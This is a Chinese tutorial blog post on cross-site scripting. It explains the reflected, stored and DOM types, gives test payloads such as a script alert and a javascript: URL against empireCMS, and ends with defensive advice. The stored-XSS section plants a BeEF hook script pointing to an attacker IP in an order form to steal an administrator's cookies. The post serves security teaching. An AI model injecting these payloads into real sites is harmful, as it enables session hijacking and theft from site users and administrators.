XXS漏洞(跨站脚本攻击)总结

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括JavaVBScriptActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容

常见的xss分类

反射型

攻击者构造带有xss攻击参数URL,恶意URL被服务器处理后返回并在用户的浏览器中执行。通过后端代码接收数据,然后将接收到的数据经处理后会把数据打印在浏览器上,浏览器根据自身的配置会对于接收到的数据进行处理,如果是脚本语言没有加以防护的话就会被浏览器当做脚本进行执行,触发跨站脚本。利用流程就是就是攻击者自己在网站发现有xss注入攻击的时候,攻击者自己构造网址具有xss的URL链接,诱导用户进行访问,从而构成反射性xss

DOM型

攻击者利用网页的 DOM(文档对象模型)结构漏洞,修改了网页的内容,使得恶意代码被执行。DOM型xss其实触发条件和反射型类似,不同的是反射型会将xss脚本通过后端代码进行传值处理,但是DOM型xss的执行均在前端执行

储存型

当攻击者发现有存储型xss漏洞时,攻击者将恶意的跨站注入脚本写入网站的数据库中,当有人再次访问这个网页的时候就会触存储型xss,进而进行xss攻击

原理案例分析

8ce4ac7fb5644b68b7b2af56a11c880c.png

接收数据并进行展示我们可以发现输入1,后在页面进行正常显示

8f86e93e72c0494cb118e7d0162d4184.png

由于页面没有做任何限制,我们可以输入JavaScript语句进行测试

743d48991d8546f796775e270c14f6ed.png

我们将参数改成了<script>alert(1)</script>我们可以发现,浏览器进行了弹窗

46d02519606042c0bcfa6653fb08419e.png

我们可以看到脚本语言在header中,而普通文本在body中,可以看出,浏览器对于我们输入的数据进行了处理

案例分析--反射型xss

我们在一个在线测试的工具网站发现有一个检测我们浏览器信息的功能,我们发现这个功能点没有做过滤,我们可以使用xss跨站语句使其执行跨站脚本,结果如下

cd3396550980406aa5317939cfd137ba.png

查看网页代码发现写入的跨站语句已经被当做脚本代码执行

9fd244daf9224017806c3ac6de25b264.png

案例分析--存储型xss

我们来到一个订单系统,我们在填写信息的时候,在具体要求的地方写入了跨站脚本工具语句,提交订单

a3aa1628e5eb4a65b893b3146e642cf6.png

编写完成后我们提交订单信息

cca13cd168254a8482040981cc029acf.png

作为一个订单程序cms,后台管理员会去后台查看订单信息,为此我们模拟管理员登录后去查看后台订单信息

94ea98df9092469bbe3cff8d9250b93b.png

发现浏览器产生弹窗

16fcf4e4c0dc4bee84498ba5e67a35a2.png

查看网页代码发现写入的跨站语句已经被当做脚本代码执行

7d8e06ba42344978a4d3e67d92b54797.png

证明我们的存储跨站脚本执行成功

BEEF xss平台的使用

存储型xss的利用,往往是盗用对方用户的cookie等敏感信息

我们借助beef平台进行实现

在实战中为了发挥其时实质价值,我们需要将其部署到公网IP上,这里做实验,直接使用kali中自带的beef

beeef的启动

970e0bdc467e48f6bc08b4c8de129b62.png

我们登陆后进入其后台页面

81b29d0f573b48ee879dcc86d1f96d28.png

我们在订单地址中写入

<script src="http://192.168.198.135:3000/hook.js"></script>

其实就是beef自带的一个xss攻击上线地址然后写入订单中

3b13cc16dd7a494fbe445dfd9cfed37b.png

当管理员访问后台订单查询的时候就会触发上线

ad38c080e10e4745b30a2e593ad4d339.png

就会获取到浏览器的相关信息如:cookie 浏览器版本等等

1f6ef7fa16fb4111aa5717f4fe65b6ff.png

当然如果将这个语句方放到正常的网页中,如果用户进行访问,也会被上线监测

案例分析--DOM型xss

DOM型xss最大的特点就是网站的语法是前端脚本语言写成我们可以通过查看源代码去查看其源码信息

案例分析

DOM XSS
<div class="page-content">

	<div id="xssd_main">
        <script>
            function domxss(){
                var str = document.getElementById("text").value;
                document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
            }
        </script>
        <!--<a href="" onclick=('xss')>-->
        <input id="text" name="text" type="text"  value="" />
        <input id="button" type="button" value="click me!" onclick="domxss()" />
		<div id="dom"></div>
    </div>


</div>

我们将其代码闭合后可以进行跨站代码的写入,并触发跨站代码

39f7993c53e745d1a19c83e80692a06c.png

查看源码

发现写入语句已经被当成了JavaScript标本进行解析执行

案例分析

用empireCMS访问/e/ViewImg/index.html?url=javascript:alert(1)地址就会触发JavaScript代码

源码分析

e54b7cd7cc944f34b8e922bfa3a1b4c6.png

根据源码的写法我们可以将url使用JavaScript的语法传入xss的跨站语句

d927d13cd67b4c2d97cf45d42c4ac754.png

XSS代码执行成功

25e1bc5dca2e4daeb00654ffa3064724.png

xss防护

输入验证和过滤:对用户的输入进行严格的验证和过滤,以防止恶意代码的注入。可以采用基于黑名单的过滤或基于白名单的过滤方式,后者通常具有更好的防御效果。

输出编码:在将用户的输入呈现到网页时,使用合适的输出编码方式,以防止恶意代码的执行。

设置HTTPOnly标志:在cookie中加入httponly属性可以在一定程度上保护用户的cookie,减少出现XSS时损失。

避免直接使用用户输入作为URL参数:避免将用户输入直接用作URL参数,可以防止反射型XSS攻击。

写在最后

如有错误,请及时指出,感谢

  • 40
    点赞
  • 46
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值